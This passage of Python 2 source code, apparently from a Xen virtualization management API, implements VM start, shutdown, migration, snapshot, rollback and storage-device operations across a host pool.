BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_hard_reboot(session, vm_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, 'VM_hard_reboot', vm_ref) else: return self._VM_hard_reboot(session, vm_ref) def _VM_hard_reboot(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. @see: VM_hard_reboot ''' #self._VM_clean_IO_limit_shutdown(session, vm_ref) return XendTask.log_progress(0, 100, do_vm_func, "domain_reset", vm_ref) def VM_hard_shutdown(self, session, vm_ref): ''' @author: wuyuewen @summary: Stop executing the specified VM without attempting a clean shutdown. @param session: session of RPC. @param vm_ref: VM's uuid @return: True | False @rtype: dict. @raise VMBadState: ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_hard_shutdown(session, vm_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, 'VM_hard_shutdown', vm_ref) i = 0 time_out = 120 while True: i += 1 # ps_new = self.VM_get_power_state(session, vm_ref)['Value'] domid = self.VM_get_domid(session, vm_ref)['Value'] # log.debug(ps_new) if not domid or cmp (int(domid), -1) == 0: break elif cmp(i, time_out) > 0: break else: time.sleep(0.5) continue else: return self._VM_hard_shutdown(session, vm_ref) def _VM_hard_shutdown(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. @see: VM_hard_shutdown ''' #self._VM_clean_IO_limit_shutdown(session, vm_ref) return XendTask.log_progress(0, 100, do_vm_func, "domain_destroy", vm_ref) def VM_pause(self, session, vm_ref): ''' @deprecated: not used ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_pause(session, vm_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, 'VM_pause', vm_ref) else: return self._VM_pause(session, vm_ref) def _VM_pause(self, session, vm_ref): ''' @deprecated: not used ''' return XendTask.log_progress(0, 100, do_vm_func, "domain_pause", vm_ref) # do snapshot for system vdi of vm def VM_snapshot(self, session, vm_ref, name): ''' @author: wuyuewen @summary: Take a snapshot of VM's system VDI. The sragent running in Host, use host 10010 port. @precondition: sragent is running in host. @param session: session of RPC. @param vm_ref: VM's uuid @param name: snapshot's name @return: True | False @rtype: dict. ''' vdi_ref = self.VM_get_system_VDI(session, vm_ref).get('Value') # log.debug('system vdi_ref: %s' % vdi_ref) return self._VM_snapshot_vdi(session, vdi_ref, name) # snapshot for vdi of vm def _VM_snapshot_vdi(self, session, vdi_ref, name): ''' @author: wuyuewen @summary: Internal method. @see: VM_snapshot ''' storage = self._get_BNStorageAPI_instance() vdi_rec = storage.VDI_get_record(session, vdi_ref).get('Value', '') if not vdi_rec: log.exception('VM_snapshot_vdi>>>>>vdi do not exist...') return xen_api_success(False) sr = vdi_rec['SR'] log.debug("sr : %s>>>>>>>>>>" % sr) sr_rec = storage._SR_get_record(session, sr).get('Value') if not sr_rec: log.exception('Get SR record failed!') return xen_api_success(False) # log.debug("sr rec : %s" % sr_rec) sr_type = sr_rec.get('type') result = False if cmp(sr_type, 'gpfs') == 0: log.debug('gpfs snapshot>>>>>') mount_point = sr_rec['mount_point'] log.debug('mount_point: %s' % mount_point) proxy = ServerProxy("http://127.0.0.1:10010") result = proxy.snapshot_gpfs(mount_point, vdi_ref, name) elif cmp(sr_type, 'mfs') == 0: log.debug('mfs snapshot>>>>>>') mount_point = sr_rec['mount_point'] log.debug('mount_point: %s' % mount_point) proxy = ServerProxy("http://127.0.0.1:10010") result = proxy.snapshot_mfs(mount_point, vdi_ref, name) elif cmp(sr_type, 'ocfs2') == 0: mount_point = sr_rec['mount_point'] log.debug('mount_point: %s' % mount_point) proxy = ServerProxy("http://127.0.0.1:10010") result = proxy.snapshot_ocfs2(mount_point, vdi_ref, name) elif cmp(sr_type, 'local_ocfs2') == 0: mount_point = sr_rec['mount_point'] log.debug('mount_point: %s' % mount_point) proxy = ServerProxy("http://127.0.0.1:10010") result = proxy.snapshot_ocfs2(mount_point, vdi_ref, name) else: sr_ip = sr_rec['other_config']['location'].split(":")[0] log.debug("sr ip : %s" % sr_ip) proxy = ServerProxy("http://%s:10010" % sr_ip) result = proxy.snapshot(sr, vdi_ref, name) log.debug("snapshot result : %s " % result) return xen_api_success(result) def VM_rollback(self, session, vm_ref, name): ''' @author: wuyuewen @summary: Rollback a snapshot of VM's system VDI. The sragent must running in Host, use host 10010 port. @precondition: sragent is running in host. @param session: session of RPC. @param vm_ref: VM's uuid @param name: snapshot's name @return: True | False @rtype: dict. ''' vdi_ref = self.VM_get_system_VDI(session, vm_ref).get('Value') # log.debug('system vdi_ref: %s' % vdi_ref) return self._VM_rollback_vdi(session, vdi_ref, name) def _VM_rollback_vdi(self, session, vdi_ref, name): ''' @author: wuyuewen @summary: Internal method. @see: VM_rollback ''' storage = self._get_BNStorageAPI_instance() vdi_rec = storage.VDI_get_record(session, vdi_ref).get('Value', '') if not vdi_rec: log.debug('VM_snapshot_vdi>>>>>vdi do not exist...') return xen_api_success(False) sr = vdi_rec['SR'] log.debug("sr : %s>>>>>>>>>>" % sr) sr_rec = storage._SR_get_record("", sr).get('Value') if not sr_rec: log.debug('sr record do not exist>>>>') return xen_api_success(False) # log.debug("sr rec : %s" % sr_rec) sr_type = sr_rec.get('type') result = False if cmp(sr_type, 'gpfs') == 0: log.debug('rollback gpfs>>>>>') p_location = vdi_rec['location'].split(':')[1] index = p_location.rfind('/') if index != -1: file_name = p_location[index+1:] new_location = p_location[:index+1] + name + p_location[index+1:] snap_location = '%s/%s/.snapshots/%s/%s' %(sr_rec['location'], vdi_ref, \ name, file_name) log.debug('=====>VM rollback :snap location %s=====' % snap_location) log.debug('new_location: %s' % new_location) proxy = ServerProxy("http://127.0.0.1:10010") result = proxy.rollback_gpfs(snap_location, new_location, p_location) elif cmp(sr_type, 'mfs') == 0: log.debug('mfs snapshot>>>>>>') mfs_name = sr_rec['mfs_name'] log.debug('mfs_name: %s' % mfs_name) proxy = ServerProxy("http://127.0.0.1:10010") result = proxy.rollback_mfs(mfs_name, vdi_ref, name) elif cmp(sr_type, 'ocfs2') == 0: log.debug('mfs snapshot>>>>>>') mount_point = sr_rec['mount_point'] proxy = ServerProxy("http://127.0.0.1:10010") result = proxy.rollback_ocfs2(mount_point, vdi_ref, name) elif cmp(sr_type, 'local_ocfs2') == 0: log.debug('mfs snapshot>>>>>>') mount_point = sr_rec['mount_point'] proxy = ServerProxy("http://127.0.0.1:10010") result = proxy.rollback_ocfs2(mount_point, vdi_ref, name) else: sr_ip = sr_rec['other_config']['location'].split(":")[0] log.debug("sr ip : %s" % sr_ip) proxy = ServerProxy("http://%s:10010" % sr_ip) result = proxy.rollback(sr, vdi_ref, name) log.debug("rollback result : %s " % result) return xen_api_success(result) def VM_destroy_snapshot(self, session, vm_ref, name): ''' @author: wuyuewen @summary: Destroy a snapshot of VM's system VDI. The sragent must running in Host, use host 10010 port. @precondition: sragent is running in host. @param session: session of RPC. @param vm_ref: VM's uuid @param name: snapshot's name @return: True | False @rtype: dict. ''' vdi_ref = self.VM_get_system_VDI(session, vm_ref).get('Value') # log.debug('system vdi_ref: %s' % vdi_ref) return self._VM_destroy_vdi_snapshot(session, vdi_ref, name) def VM_destroy_all_snapshots(self, session, vm_ref): ''' @author: wuyuewen @summary: Destroy all snapshots of VM's system VDI. The sragent must running in Host, use host 10010 port. @precondition: sragent is running in host. @param session: session of RPC. @param vm_ref: VM's uuid @return: True | False @rtype: dict. ''' vdi_ref = self.VM_get_system_VDI(session, vm_ref).get('Value') # log.debug('system vdi_ref: %s' % vdi_ref) return self._VM_destroy_all_vdi_snapshots(session, vdi_ref) def _VM_destroy_all_vdi_snapshots(self, session, vdi_ref, sr = None): ''' @author: wuyuewen @summary: Internal method. @see: VM_destroy_all_snapshots ''' storage = self._get_BNStorageAPI_instance() if not sr: vdi_rec = storage.VDI_get_record(session, vdi_ref).get('Value', '') if not vdi_rec: log.debug('VM_snapshot_vdi>>>>>vdi do not exist...') return xen_api_success(False) sr = vdi_rec['SR'] log.debug("sr : %s>>>>>>>>>>" % sr) sr_rec = storage._SR_get_record("", sr).get('Value') if not sr_rec: log.debug('sr record do not exist>>>>') return xen_api_success(False) sr_type = sr_rec.get('type') result = False if cmp(sr_type, 'gpfs') == 0: gpfs_name = sr_rec['gpfs_name'] log.debug('gpfs_name: %s' % gpfs_name) proxy = ServerProxy("http://127.0.0.1:10010") result = proxy.destroy_all_gpfs(gpfs_name, vdi_ref) elif cmp(sr_type, 'mfs') == 0: mfs_name = sr_rec['mfs_name'] log.debug('mfs_name: %s' % mfs_name) proxy = ServerProxy("http://127.0.0.1:10010") log.debug(vdi_ref) result = proxy.destroy_all_mfs(mfs_name, vdi_ref) elif cmp(sr_type, 'ocfs2') == 0: mount_point = sr_rec['mount_point'] proxy = ServerProxy("http://127.0.0.1:10010") log.debug(vdi_ref) result = proxy.destroy_all_ocfs2(mount_point, vdi_ref) elif cmp(sr_type, 'local_ocfs2') == 0: mount_point = sr_rec['mount_point'] proxy = ServerProxy("http://127.0.0.1:10010") log.debug(vdi_ref) result = proxy.destroy_all_ocfs2(mount_point, vdi_ref) else: sr_ip = sr_rec['other_config']['location'].split(":")[0] log.debug("sr rec : %s" % sr_rec) log.debug("sr ip : %s" % sr_ip) proxy = ServerProxy("http://%s:10010" % sr_ip) result = proxy.destroy_all(sr, vdi_ref) log.debug("destroy_snapshot result : %s " % result) if result == True: # destroy succeed inUse = vdi_rec.get('inUse', True) log.debug('vdi in use>>>>>>>>>>>>>>%s' % inUse) if not inUse: storage.VDI_destroy_final(session, vdi_ref, True, True) return xen_api_success(result) def _VM_destroy_vdi_snapshot(self, session, vdi_ref, name): ''' @author: wuyuewen @summary: Internal method. @see: VM_destroy_snapshot ''' storage = self._get_BNStorageAPI_instance() vdi_rec = storage.VDI_get_record(session, vdi_ref).get('Value', '') if not vdi_rec: log.debug('VM_snapshot_vdi>>>>>vdi do not exist...') return xen_api_success(False) sr = vdi_rec['SR'] log.debug("sr : %s>>>>>>>>>>" % sr) sr_rec = storage._SR_get_record("", sr).get('Value') if not sr_rec: log.debug('sr record do not exist>>>>') return xen_api_success(False) sr_type = sr_rec.get('type') result = False if cmp(sr_type, 'gpfs') == 0: gpfs_name = sr_rec['gpfs_name'] log.debug('gpfs_name: %s' % gpfs_name) proxy = ServerProxy("http://127.0.0.1:10010") result = proxy.destroy_gpfs(gpfs_name, vdi_ref, name) elif cmp(sr_type, 'mfs') == 0: mfs_name = sr_rec['mfs_name'] log.debug('mfs_name: %s' % mfs_name) proxy = ServerProxy("http://127.0.0.1:10010") log.debug(vdi_ref) log.debug(name) result = proxy.destroy_mfs(mfs_name, vdi_ref, name) elif cmp(sr_type, 'ocfs2') == 0: mount_point = sr_rec['mount_point'] proxy = ServerProxy("http://127.0.0.1:10010") log.debug(vdi_ref) result = proxy.destroy_ocfs2(mount_point, vdi_ref, name) elif cmp(sr_type, 'local_ocfs2') == 0: mount_point = sr_rec['mount_point'] proxy = ServerProxy("http://127.0.0.1:10010") log.debug(vdi_ref) result = proxy.destroy_ocfs2(mount_point, vdi_ref, name) else: sr_ip = sr_rec['other_config']['location'].split(":")[0] log.debug("sr rec : %s" % sr_rec) log.debug("sr ip : %s" % sr_ip) proxy = ServerProxy("http://%s:10010" % sr_ip) result = proxy.destroy(sr, vdi_ref, name) log.debug("destroy_snapshot result : %s " % result) # if thereis not snapshots and vdi is not in relation with vm inUse = vdi_rec.get('inUse', True) log.debug('vdi in use>>>>>>>>>>>>>>%s' % inUse) if not inUse: snap_num = len(self._VM_get_vdi_snapshots(session, vdi_ref).get('Value')) if snap_num == 0: storage.VDI_destroy_final(session, vdi_ref, True, True) return xen_api_success(result) def VM_resume(self, session, vm_ref, start_paused): ''' @deprecated: not used ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_resume(session, vm_ref, start_paused) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, 'VM_resume', vm_ref, start_paused) else: return self._VM_resume(session, vm_ref, start_paused) def _VM_resume(self, session, vm_ref, start_paused): ''' @deprecated: not used ''' return XendTask.log_progress(0, 100, do_vm_func, "domain_resume", vm_ref, start_paused = start_paused) def VM_start(self, session, vm_ref, start_paused, force_start): ''' @author: wuyuewen @summary: Start the specified VM. This function can only be called with the VM is in the Halted State. @param session: session of RPC. @param vm_ref: VM's uuid @param: start_paused Instantiate VM in paused state if set to true. @param: force_start Attempt to force the VM to start. If this flag is false then the VM may fail pre-boot safety checks (e.g. if the CPU the VM last booted on looks substantially different to the current one) @return: True | False @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) host_ip = BNPoolAPI.get_host_ip(host_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_start(session, vm_ref, start_paused, force_start) else: return xen_rpc_call(host_ip, 'VM_start', vm_ref, start_paused, force_start) else: return self._VM_start(session, vm_ref, start_paused, force_start) def _VM_start(self, session, vm_ref, start_paused, force_start): ''' @author: wuyuewen @summary: Internal method. @see: VM_start ''' if not self._VM_can_start(session, vm_ref): return xen_api_error(['MEMORY_NOT_ENOUGH', 'VM', vm_ref]) crush_vm = self._VM_check_fibers_valid(session, vm_ref).get('Value') if crush_vm: return xen_api_error(['FIBER_IN_USE:', crush_vm]) crush_vm = self._VM_check_usb_scsi_valid(session, vm_ref).get('Value') if crush_vm: return xen_api_error(['USB_IN_USE:', crush_vm]) try: log.debug("VM starting now....") response = XendTask.log_progress(0, 100, do_vm_func, "domain_start", vm_ref, start_paused=start_paused, force_start=force_start) log.debug(response) return response except HVMRequired, exn: log.error(exn) return xen_api_error(['VM_HVM_REQUIRED', vm_ref]) #add by wufan def VM_can_start(self, session, vm_ref): ''' @author: wuyuewen @summary: Check specified VM can start or not, check host free memory. @param session: session of RPC. @param vm_ref: VM's uuid @return: True | False @rtype: dict @raise xen_api_error: ''' return xen_api_success(self._VM_can_start(session, vm_ref)) def _VM_can_start(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. @see: VM_can_start ''' host_mem_free = self._host_metrics_get_memory_free() dominfo = XendDomain.instance().get_vm_by_uuid(vm_ref) if not dominfo: log.debug("can not find vm:" + vm_ref) return xen_api_error(['VM_NOT_FOUND', 'VM', vm_ref]) if self._VM_get_is_a_template(session, vm_ref).get('Value'): return xen_api_error(XEND_API_ERROR_VM_IS_TEMPLATE) dom_mem = dominfo.get_memory_dynamic_max() free_memory = int(host_mem_free) - int(dom_mem) log.debug("can start: %s, memory left limit: %sG" % (str(cmp(free_memory, RESERVED_MEM) > 0), str(RESERVED_MEM/1024/1024/1024))) log.debug("free memory: %sG" % str(free_memory/1024/1024/1024)) # by henry, dom0 memory should greate than 4G if cmp(free_memory, RESERVED_MEM) > 0: return True else: return False def _host_metrics_get_memory_free(self): ''' @author: wuyuewen @summary: Internal method. @see: host_metrics_get_memory_free ''' node = XendNode.instance() xendom = XendDomain.instance() doms = xendom.list() doms_mem_total = 0 for dom in doms: if cmp(dom.get_uuid(), DOM0_UUID) == 0: continue dominfo = xendom.get_vm_by_uuid(dom.get_uuid()) doms_mem_total += dominfo.get_memory_dynamic_max() # log.debug("doms memory total: " + str(doms_mem_total)) # log.debug("host memory total:" + str(node.xc.physinfo()['total_memory'] * 1024)) return node.xc.physinfo()['total_memory'] * 1024 - doms_mem_total ''' check whether vif is create and up ''' def _VM_check_vif_up(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. ''' log.debug('check if vif up >>>>>>>>>>') # get vm domid dominfo = XendDomain.instance().get_vm_by_uuid(vm_ref) domid = dominfo.getDomid() vif_num = len(dominfo.get_vifs()) # get num of vifs log.debug('vm(%) domid(%s) has %s vifs' % (vm_ref, domid, vif_num)) for eth_num in range(vif_num): vif_dev = 'vif%s.%s' % (domid, eth_num) vif_emu_dev = 'vif%s.%-emu' %(domid, eth_num) # def _VM_check_fiber(self, session, vm_ref): # if self._VM_check_fibers_valid(session, vm_ref).get('Value'): # return True # else : # log.debug('fiber device in use') # return False def VM_start_on(self, session, vm_ref, host_ref, start_paused, force_start): ''' @author: wuyuewen @summary: Start the specified VM on specified Host. This function can only be called with the VM is in the Halted State. @param session: session of RPC. @param vm_ref: VM's uuid @param host_ref: Host's uuid @param: start_paused Instantiate VM in paused state if set to true. @param: force_start Attempt to force the VM to start. If this flag is false then the VM may fail pre-boot safety checks (e.g. if the CPU the VM last booted on looks substantially different to the current one) @return: True | False @rtype: dict. ''' # import threading # lock = threading.Lock() # lock.acquire() #self.__init_lock__.acquire() try: log.debug("in VM_start_on: %s" % vm_ref) if BNPoolAPI._isMaster: if self.VM_get_is_local_vm(session, vm_ref).get('Value'): return self.VM_start(session, vm_ref, start_paused, force_start) xennode = XendNode.instance() master_uuid = xennode.uuid h_ref = BNPoolAPI.get_host_by_vm(vm_ref) h_ip = BNPoolAPI.get_host_ip(h_ref) log.debug(h_ip) host_ip = BNPoolAPI.get_host_ip(host_ref) paths = xennode.get_ha_sr_location() log.debug(paths) # if cmp(paths, {}) !=0: if paths: for p in paths.values(): # path = os.path.join(p, CACHED_CONFIG_FILE) path = os.path.join(p, '%s.sxp' % vm_ref) break else: path = '' log.debug('vm_start_on ha path: %s' % path) # else: # return xen_api_error(['nfs_ha not mounted', NFS_HA_DEFAULT_PATH]) #copy sxp file to nfs xen_rpc_call(h_ip, 'VM_copy_sxp_to_nfs', vm_ref, path) if cmp(host_ref, master_uuid) == 0 and cmp(master_uuid, h_ref) == 0: log.debug("-----condition 1-----") log.debug("vm dest: master, vm now: master") response = self._VM_start(session, vm_ref, start_paused, force_start) elif cmp(host_ref, master_uuid) == 0 and cmp(master_uuid, h_ref) != 0: log.debug("-----condition 2-----") log.debug("vm dest: master, vm now: node") response = self.VM_create_from_sxp(session, path, True, False) if cmp (response.get('Status'), 'Success') == 0: xen_rpc_call(h_ip, 'VM_destroy', vm_ref, False, False, False) elif cmp(host_ref, master_uuid) != 0 and cmp(master_uuid, h_ref) == 0: log.debug("-----condition 3-----") log.debug("vm dest: node, vm now: master") response = xen_rpc_call(host_ip, 'VM_create_from_sxp', path, True, False) if cmp (response.get('Status'), 'Success') == 0: self._VM_destroy(session, vm_ref, False, False) elif cmp(host_ref, master_uuid) != 0 and cmp(master_uuid, h_ref) != 0: if cmp(h_ref, host_ref) == 0: log.debug("-----condition 4-----") log.debug("vm dest: node1, vm now: node2, node1 = node2") response = self.VM_start(session, vm_ref, start_paused, force_start) else: log.debug("-----condition 5-----") log.debug("vm dest: node1, vm now: node2, node1 != node2") response = xen_rpc_call(host_ip, 'VM_create_from_sxp', path, True, False) if cmp (response.get('Status'), 'Success') == 0: xen_rpc_call(h_ip, 'VM_destroy', vm_ref, False, False, False) if cmp (response.get('Status'), 'Success') == 0: BNPoolAPI.update_data_struct('vm_start_on', vm_ref, h_ref, host_ref) log.debug("Finished start on: %s migrate vm(%s) to %s" % (h_ip, vm_ref, host_ip)) return response else: path = '' return self.VM_start(session, vm_ref, start_paused, force_start) except Exception, exn: log.exception(traceback.print_exc()) return xen_api_error(['START_ON_FAILED,', exn]) finally: if path: cmd = 'rm -f %s' % path doexec(cmd) def VM_copy_sxp_to_nfs(self, session, vm_ref, path): ''' @author: wuyuewen @summary: Internal method. Copy sxp to HA dir. ''' XendDomain.instance().copy_sxp_to_ha(vm_ref, path) return xen_api_success_void() def VM_suspend(self, session, vm_ref): ''' @deprecated: not used ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_suspend(session, vm_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, 'VM_suspend', vm_ref) else: return self._VM_suspend(session, vm_ref) def _VM_suspend(self, session, vm_ref): ''' @deprecated: not used ''' return XendTask.log_progress(0, 100, do_vm_func, "domain_suspend", vm_ref) def VM_unpause(self, session, vm_ref): ''' @deprecated: not used ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_unpause(session, vm_ref) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, 'VM_unpause', vm_ref) else: return self._VM_unpause(session, vm_ref) def _VM_unpause(self, session, vm_ref): ''' @deprecated: not used ''' return XendTask.log_progress(0, 100, do_vm_func, "domain_unpause", vm_ref) def VM_send_sysrq(self, _, vm_ref, req): ''' @deprecated: not used ''' xeninfo = XendDomain.instance().get_vm_by_uuid(vm_ref) if xeninfo.state == XEN_API_VM_POWER_STATE_RUNNING \ or xeninfo.state == XEN_API_VM_POWER_STATE_PAUSED: xeninfo.send_sysrq(req) return xen_api_success_void() else: return xen_api_error( ['VM_BAD_POWER_STATE', vm_ref, XendDomain.POWER_STATE_NAMES[XEN_API_VM_POWER_STATE_RUNNING], XendDomain.POWER_STATE_NAMES[xeninfo.state]]) def VM_send_trigger(self, _, vm_ref, trigger, vcpu): ''' @deprecated: not used ''' xendom = XendDomain.instance() xeninfo = xendom.get_vm_by_uuid(vm_ref) xendom.domain_send_trigger(xeninfo.getDomid(), trigger, vcpu) return xen_api_success_void() def VM_migrate(self, session, vm_ref, destination_url, live, other_config): ''' @deprecated: not used ''' return self._VM_migrate(session, vm_ref, destination_url, live, other_config) def _VM_migrate(self, session, vm_ref, destination_url, live, other_config): ''' @author: wuyuewen @summary: Internal method. @see: VM_pool_migrate ''' self._VM_clean_IO_limit_shutdown(session, vm_ref) #add by wufan xendom = XendDomain.instance() xeninfo = xendom.get_vm_by_uuid(vm_ref) port = other_config.get("port", 0) node = other_config.get("node", -1) ssl = other_config.get("ssl", None) chs = other_config.get("change_home_server", False) xendom.domain_migrate(xeninfo.getDomid(), destination_url, bool(live), port, node, ssl, bool(chs)) #log.debug('migrate') # set all tag #self.VM_set_all_tag(session, vm_ref) return xen_api_success_void() def VM_pool_migrate(self, session, vm_ref, dst_host_ref, other_config): ''' @author: wuyuewen @summary: Migrate specified VM to specified Host. IO limit setting must read before migrate and set back after migrate. @param session: session of RPC. @param vm_ref: VM's uuid @param dst_host_ref: destination Host's uuid @param other_config: useless @return: True | False @rtype: dict. ''' host_ref = BNPoolAPI.get_host_by_vm(vm_ref) host_ip = BNPoolAPI.get_host_ip(host_ref) dst_host_ip = BNPoolAPI.get_host_ip(dst_host_ref) tag_list = self.VM_get_all_tag(session, vm_ref, 'tag').get('Value') rate_list = self.VM_get_all_tag(session, vm_ref, 'rate').get('Value') burst_list = self.VM_get_all_tag(session, vm_ref, 'burst').get('Value') io_limit_list = {} for type in ['read', 'write']: for io_unit in ['MBps', 'iops']: key = "%s_%s" % (type, io_unit) io_limit_list[key] = self.VM_get_IO_rate_limit(session, vm_ref, type, io_unit).get('Value') if cmp(host_ref, XendNode.instance().uuid) == 0: self._VM_migrate(session, vm_ref, dst_host_ip, True, other_config) else: host_ip = BNPoolAPI.get_host_ip(host_ref) xen_rpc_call(host_ip, "VM_migrate", vm_ref, dst_host_ip, True, other_config) log.debug("Migrate VM from host: %s" % host_ip) log.debug("Migrate VM to host: %s" % dst_host_ip) BNPoolAPI.update_data_struct("vm_migrate", vm_ref, host_ref, dst_host_ref) self.VM_set_all_tag(session, vm_ref, tag_list) self.VM_set_all_rate(session, vm_ref, 'rate', rate_list) self.VM_set_all_rate(session, vm_ref, 'burst', burst_list) self.VM_start_set_IO_limit(session, vm_ref, io_limit_list) return xen_api_success_void() def VM_save(self, _, vm_ref, dest, checkpoint): ''' @deprecated: not used ''' xendom = XendDomain.instance() xeninfo = xendom.get_vm_by_uuid(vm_ref) xendom.domain_save(xeninfo.getDomid(), dest, checkpoint) return xen_api_success_void() def VM_restore(self, _, src, paused): ''' @deprecated: not used ''' xendom = XendDomain.instance() xendom.domain_restore(src, bool(paused)) return xen_api_success_void() def VM_check_usb_scsi_valid(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Check usb scsi validity. ''' return self._VM_check_usb_scsi_valid(session, vm_ref) def _VM_check_usb_scsi_valid(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Check usb scsi validity. ''' log.debug('VM_check_fibers_valid') crush_vm = None xd = XendDomain.instance() dominfo = xd.get_vm_by_uuid(vm_ref) #get local fiber uuid of the to_started vm loc_fiber_unames = [] loc_fiber_uuids= self._VM_get_usb_scsi(session, vm_ref).get('Value') # get local fiber uname of the to_started vm for loc_fiber_uuid in loc_fiber_uuids: dev_type, dev_config = dominfo.info['devices'].get(loc_fiber_uuid, (None, None)) if dev_config: loc_fiber_uname = dev_config.get('uname') if loc_fiber_uname: loc_fiber_unames.append(loc_fiber_uname) if loc_fiber_unames: running_vms = xd.get_running_vms() for vm in running_vms: #if vm.info.get('domid') == dominfo.info.get('domid'): #log.debug('check dom itself %s' % vm.info.get('domid')) #continue device_struct = vm.info['devices'] for uuid, config in device_struct.items(): if config[1].get('uname') in loc_fiber_unames: vm_name = vm.info['name_label'] crush_vm = vm_name return xen_api_success(crush_vm) return xen_api_success(crush_vm) def VM_check_fibers_valid(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Check fibers validity. ''' return self._VM_check_fibers_valid(session, vm_ref) #add by wufan def _VM_check_fibers_valid(self, session, vm_ref): ''' @author: wuyuewen @summary: Internal method. Check fibers validity. ''' log.debug('VM_check_fibers_valid') crush_vm = None xd = XendDomain.instance() dominfo = xd.get_vm_by_uuid(vm_ref) #get local fiber uuid of the to_started vm loc_fiber_unames = [] loc_fiber_uuids= self._VM_get_fibers(session, vm_ref).get('Value') # get local fiber uname of the to_started vm for loc_fiber_uuid in loc_fiber_uuids: dev_type, dev_config = dominfo.info['devices'].get(loc_fiber_uuid, (None, None)) if dev_config: loc_fiber_uname = dev_config.get('uname') if loc_fiber_uname: loc_fiber_unames.append(loc_fiber_uname) if loc_fiber_unames: running_vms = xd.get_running_vms() for vm in running_vms: #if vm.info.get('domid') == dominfo.info.get('domid'): #log.debug('check dom itself %s' % vm.info.get('domid')) #continue device_struct = vm.info['devices'] for uuid, config in device_struct.items(): if config[1].get('uname') in loc_fiber_unames: vm_name = vm.info['name_label'] crush_vm = vm_name return xen_api_success(crush_vm) return xen_api_success(crush_vm) def VM_cpu_pool_migrate(self, session, vm_ref, cpu_pool_ref): ''' @deprecated: not used ''' xendom = XendDomain.instance() xeninfo = xendom.get_vm_by_uuid(vm_ref) domid = xeninfo.getDomid() pool = XendAPIStore.get(cpu_pool_ref, XendCPUPool.getClass()) if pool == None: return xen_api_error(['HANDLE_INVALID', 'cpu_pool', cpu_pool_ref]) if domid is not None: if domid == 0: return xen_api_error(['OPERATION_NOT_ALLOWED', 'could not move Domain-0']) try: XendCPUPool.move_domain(cpu_pool_ref, domid) except Exception, ex: return xen_api_error(['INTERNAL_ERROR', 'could not move domain']) self.VM_set('pool_name', session, vm_ref, pool.get_name_label()) return xen_api_success_void() def VM_create_data_VBD(self, session, vm_ref, vdi_ref, read_only=False): ''' @author: wuyuewen @summary: VM create data VBD and VDI. @precondition: At most 8 data VBD. @param session: session of RPC. @param vm_ref: VM's uuid @param vdi_ref: new VDI's uuid @return: True | False @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_create_data_VBD(session, vm_ref, vdi_ref, read_only) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_create_data_VBD', vm_ref, vdi_ref, read_only) else: return self._VM_create_data_VBD(session, vm_ref, vdi_ref, read_only) def _VM_create_data_VBD(self, session, vm_ref, vdi_ref, read_only): ''' @author: wuyuewen @summary: Internal method. @see: VM_create_data_VBD ''' log.debug("=====VM_create_data_VBD=====") if not read_only: vbd_struct = {'VM' : vm_ref, 'VDI' : vdi_ref, 'bootable' : False, # 'device' : self._VM_get_available_vbd_device(session, vm_ref, 'xvd').get('Value', ''), 'mode' : 'RW', 'type' : 'Disk', } else: vbd_struct = {'VM' : vm_ref, 'VDI' : vdi_ref, 'bootable' : False, # 'device' : self._VM_get_available_vbd_device(session, vm_ref, 'xvd').get('Value', ''), 'mode' : 'R', 'type' : 'Disk', } response = self._VBD_create(session, vbd_struct) if cmp(response.get('Status'), 'Success') == 0: return xen_api_success(True) else: return xen_api_success(False) def VM_delete_data_VBD(self, session, vm_ref, vdi_ref): ''' @author: wuyuewen @summary: VM delete data VBD and VDI. @param session: session of RPC. @param vm_ref: VM's uuid @param vdi_ref: new VDI's uuid @return: True | False @rtype: dict. ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_delete_data_VBD(session, vm_ref, vdi_ref) else: remote_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(remote_ip, 'VM_delete_data_VBD', vm_ref, vdi_ref) else: return self._VM_delete_data_VBD(session, vm_ref, vdi_ref) def _VM_delete_data_VBD(self, session, vm_ref, vdi_ref): ''' @author: wuyuewen @summary: Internal method. @see: VM_delete_data_VBD ''' self.__vbd_lock__.acquire() try: log.debug("=====VM_delete_data_VBD=====") log.debug('VDI ref: %s' % vdi_ref) vdi = XendNode.instance().get_vdi_by_uuid(vdi_ref) vbd = [] vbd_ref = "" if vdi: 